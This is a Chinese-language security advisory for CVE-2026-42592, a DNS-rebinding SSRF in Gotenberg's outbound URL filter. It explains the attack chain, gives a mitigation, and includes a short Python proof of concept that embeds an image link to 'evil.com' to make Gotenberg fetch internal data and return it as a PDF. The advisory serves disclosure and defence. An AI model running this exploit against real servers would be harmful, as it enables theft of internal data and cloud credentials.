IPBUF安全漏洞报告
English
CVE-2026-42592 CVSS 5.3 中危

CVE-2026-42592 Gotenberg DNS重绑定漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42592
漏洞类型
SSRF
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

SSRFDNS RebindingGotenbergInformation DisclosureCVSS-5.3

漏洞概述

Gotenberg是一个基于Docker的无状态PDF生成API。在8.32.0版本之前,其FilterOutboundURL组件存在DNS重绑定漏洞。由于未固定解析的IP地址,攻击者可利用DNS短TTL特性绕过私有IP地址过滤。攻击者先返回公网IP通过检查,随后在Chromium发起连接时返回内网IP,从而诱导服务访问内部资源并将响应渲染为PDF返回。

技术细节

该漏洞的核心在于Gotenberg的出站URL过滤机制与Chromium实际网络请求之间的时序竞争。当Gotenberg处理包含外部链接的PDF生成请求时,FilterOutboundURL会解析主机名并检查IP是否在私有地址黑名单中。然而,该函数仅检查IP但不保留解析结果。
攻击者控制恶意域名的DNS服务器,设置极短的TTL。在Gotenberg第一次解析时,DNS返回一个合法的公网IP地址,从而通过安全检查。随后,当Chromium实际发起网络请求时,由于TTL已过期,它会再次进行DNS查询。此时DNS服务器返回一个内网IP地址(如127.0.0.1或10.0.0.x)。
尽管CDP的Fetch.requestPaused处理器会再次检查,但它也进行了独立的DNS解析,无法完全消除与Chromium实际TCP连接之间的时间窗口。最终,Chromium连接到攻击者指定的内网地址,获取敏感数据(如元数据端点、云凭证等),并将其渲染在生成的PDF中返回给攻击者。

攻击链分析

STEP 1
步骤1
攻击者配置恶意域名的DNS服务器,设置极短的TTL,并编写响应逻辑:首次解析返回公网IP,后续解析返回内网IP。
STEP 2
步骤2
攻击者向Gotenberg API发送PDF转换请求,其中包含指向恶意域名的资源链接(如img标签)。
STEP 3
步骤3
Gotenberg的FilterOutboundURL组件解析该域名,获取到公网IP,通过安全检查(不在私有地址黑名单中)。
STEP 4
步骤4
Chromium引擎尝试加载该资源,发起第二次DNS查询。此时TTL已过,DNS服务器返回内网IP(如127.0.0.1)。
STEP 5
步骤5
Chromium忽略之前的检查结果,直接连接到内网IP地址,获取内部服务的响应数据。
STEP 6
步骤6
Gotenberg将获取到的内网数据渲染成PDF,返回给攻击者,造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-42592 (Gotenberg DNS Rebinding) # This script demonstrates the request flow. A custom DNS server is required to rotate IPs. import requests TARGET = 'http://localhost:3000/forms/chromium/convert/html' # Domain controlled by attacker, configured with low TTL # DNS server logic: 1st query -> 1.1.1.1 (Public), 2nd query -> 127.0.0.1 (Private) MALICIOUS_URL = 'http://evil.com/internal-config' def exploit(): html_content = f""" <html> <body> <h1>Fetching Internal Data</h1> <img src="{MALICIOUS_URL}" /> </body> </html> """ files = {'html': ('index.html', html_content, 'text/html')} try: print(f"[*] Sending request to Gotenberg targeting {MALICIOUS_URL}") response = requests.post(TARGET, files=files) if response.status_code == 200: print("[+] Request successful. Check the PDF for internal data.") # Save the PDF with open('ssrf_result.pdf', 'wb') as f: f.write(response.content) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Gotenberg < 8.32.0

防御指南

临时缓解措施
建议立即升级Gotenberg到8.32.0或更高版本以彻底修复此漏洞。如果无法立即升级,应通过网络策略(如NetworkPolicy或防火墙)严格限制Gotenberg容器的出站连接,仅允许访问业务必需的公网地址,并禁止访问RFC1918定义的私有网段,以缓解SSRF风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表